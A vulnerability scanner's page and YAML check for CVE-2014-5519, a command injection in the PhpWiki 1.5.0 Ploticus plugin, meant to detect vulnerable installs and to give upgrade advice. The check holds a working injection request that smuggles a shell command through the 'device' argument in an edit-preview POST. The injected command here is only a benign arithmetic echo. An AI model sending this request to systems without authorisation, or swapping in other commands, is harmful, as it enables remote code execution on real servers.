PhpWiki — 1 vulnerability check

noctis ships 1 vulnerability check for PhpWiki, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PhpWiki Ploticus Plugin device Argument Command Injection

CVECVE-2014-5519
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/phpwiki/CVE-2014-5519.yaml

Detects the OS command injection in the Ploticus plugin of PhpWiki 1.5.0: the plugin's `device` argument is pasted unchecked into the ploticus command line run through the shell, and the command's error output is shown in the rendered page. For each candidate directory (web root, /phpwiki, /wiki) whose page identifies PhpWiki (the generator meta tag or the "Powered by PhpWiki" footer), the test POSTs an edit preview of a `<<Ploticus device="- >/dev/null 2>&1;echo NOCTIS$((a+b)) 1>&2;">>` markup to index.php with per-run random operands, and requires the shell-computed sum in the response. A preview is not saved, and nothing is written on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{pw_dir}}/
  3. HTTP(S) request POST {{pw_dir}}/index.php with a crafted body
  4. Checks inj_resp.body for NOCTIS[0-9]{7} → finding QoD 97: PhpWiki Ploticus command injection confirmed via POST …/index.php (edit preview of <<Ploticus device="- >/dev/null 2>&1;echo NOCTIS$((…+…))…

References:

Feed source — tests/vulnerabilities/phpwiki/CVE-2014-5519.yaml
# PhpWiki 1.5.0 — Ploticus plugin `device` argument OS command injection
# (CVE-2014-5519).
#
# Ported from OpenVAS/Greenbone NVT `2014/gb_phpwiki_rce_08_14.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.105074, GPL-2.0-only).
#
# lib/plugin/Ploticus.php (1.5.0) builds
#   $args = "-$gif -o $tempfile.$gif";   // $gif = the plugin's device= argument
# and runs `PLOTICUS_EXE -stdin $args` with proc_open() (/bin/sh -c). When the
# command prints nothing on stdout, WikiPluginCached::newFilterThroughCmd()
# prints its stderr inside a "Plugin Ploticus failed." error span, so commands
# injected through device="; <cmd> 1>&2;" show their output in the rendered
# page. Anyone allowed to preview an edit (anonymous by default) can render
# the markup: the NASL POSTs `<<Ploticus device=";…id 1>&2;…" …>>` as
# edit[content] with edit[preview]=Preview&action=edit to <dir>/index.php.
# The command runs even when the ploticus binary is absent (the shell just
# reports "pl: not found" and carries on). PhpWiki 1.5.1 checks device
# against an allowlist (gif, png, jpeg, svg, svgz, eps, ps, pdf, html) and
# answers "wrong device" without running anything.
#
# Detection — in-band benign proof (QoD 97): the injected command is
# `echo NOCTIS$((<a>+<b>)) 1>&2` (after silencing the ploticus run) with a, b random in 500000..999999. Only a
# shell evaluates the arithmetic; the 7-digit sum never appears in the
# request, so a page reflecting the posted markup cannot show it. The request
# is an edit *preview*: nothing is saved and nothing is written on the target.
#
# Deviations from the NASL (intentional, better coverage):
#   - Benign arithmetic marker instead of `id` output (uid=/gid=).
#   - The NASL only probes directories whose page shows "Powered by PhpWiki".
#     In 1.5.0 that string only exists in the MonoBook theme footer; the
#     default Sidebar theme (and every theme using the default head.tmpl)
#     only carries <meta name="generator" content="PhpWiki" />. The feed
#     accepts either marker, so default-theme installs are not missed.
#   - Directories: web root, /phpwiki, /wiki (the NASL's names; the root
#     covers a vhost install).
uid: 5d847325-84db-4cbd-a3c3-5cc21ad6cf1c
name: "PhpWiki Ploticus Plugin device Argument Command Injection (CVE-2014-5519)"
description: |
  Detects the OS command injection in the Ploticus plugin of PhpWiki 1.5.0:
  the plugin's `device` argument is pasted unchecked into the ploticus
  command line run through the shell, and the command's error output is shown
  in the rendered page. For each candidate directory (web root, /phpwiki,
  /wiki) whose page identifies PhpWiki (the generator meta tag or the
  "Powered by PhpWiki" footer), the test POSTs an edit preview of a
  `<<Ploticus device="- >/dev/null 2>&1;echo NOCTIS$((a+b)) 1>&2;">>` markup to index.php with
  per-run random operands, and requires the shell-computed sum in the
  response. A preview is not saved, and nothing is written on the target.
cves: [CVE-2014-5519]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [phpwiki, ploticus, php, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-5519"
  - "https://sourceforge.net/p/phpwiki/code/HEAD/tree/trunk/lib/plugin/Ploticus.php"

steps:
  # Per-run operands; marker = NOCTIS<a+b> (always 7 digits).
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: a, b: b, marker: "NOCTIS" + (a + b) }
    store_as: proof

  # Every step from here on runs once per candidate directory (loop group).
  # Pre-initialise the stored results so a failed request leaves no undefined
  # variable behind.
  - id: init-idx
    action: set_var
    var_name: idx_resp
    var_value: {status: 0, body: null}
    loop:
      over:
        - ""
        - "/phpwiki"
        - "/wiki"
      var: pw_dir

  - id: init-inj
    action: set_var
    var_name: inj_resp
    var_value: {status: 0, body: null}

  # Gate: a PhpWiki page — generator meta tag (default head template) or the
  # MonoBook "Powered by PhpWiki" footer (the NASL's marker).
  - id: index
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{pw_dir}}/"
    tls_insecure: true
    timeout_secs: 10
    store_as: idx_resp

  # NASL request shape, `id` swapped for the marker. Decoded edit[content]:
  #   <<Ploticus device="- >/dev/null 2>&1;echo NOCTIS$((a+b)) 1>&2;" -prefab= -csmap= data= alt= help= >>
  # The leading "- >/dev/null 2>&1" silences the ploticus run itself: 1.5.0
  # only prints stderr when stdout is empty, so an installed `pl` writing to
  # stdout would otherwise hide the marker.
  # (%2B keeps the "+" — a bare "+" decodes to a space in a form body.)
  - id: inject
    action: http_request
    method: POST
    port: "{{port}}"
    path: "{{pw_dir}}/index.php"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    condition: "idx_resp.status == 200 && type_of(idx_resp.body) == \"string\" && (stridx(idx_resp.body, \"Powered by PhpWiki\") >= 0 || egrep(\"<meta[^>]+name=.generator.[^>]+content=.phpwiki\", tolower(idx_resp.body)) != \"\")"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "pagename=HeIp&edit%5Bcontent%5D=%3C%3CPloticus+device%3D%22-+%3E%2Fdev%2Fnull+2%3E%261%3Becho+NOCTIS%24%28%28{{proof.a}}%2B{{proof.b}}%29%29+1%3E%262%3B%22+-prefab%3D+-csmap%3D+data%3D+alt%3D+help%3D+%3E%3E&edit%5Bpreview%5D=Preview&action=edit"
    store_as: inj_resp

  - id: confirm
    action: match
    source: inj_resp.body
    pattern: "NOCTIS[0-9]{7}"
    condition: "inj_resp.status == 200 && type_of(inj_resp.body) == \"string\" && stridx(inj_resp.body, proof.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "PhpWiki Ploticus command injection confirmed via POST {{pw_dir}}/index.php (edit preview of <<Ploticus device=\"- >/dev/null 2>&1;echo NOCTIS$(({{proof.a}}+{{proof.b}})) 1>&2;\">>): a shell evaluated the per-run arithmetic and the page printed {{proof.marker}}"
        remediation: "Upgrade PhpWiki to 1.5.1 or later, which only accepts the gif, png, jpeg, svg, svgz, eps, ps, pdf and html devices, or remove Ploticus from the allowed plugins."
      stop: true

View these feeds on GitHub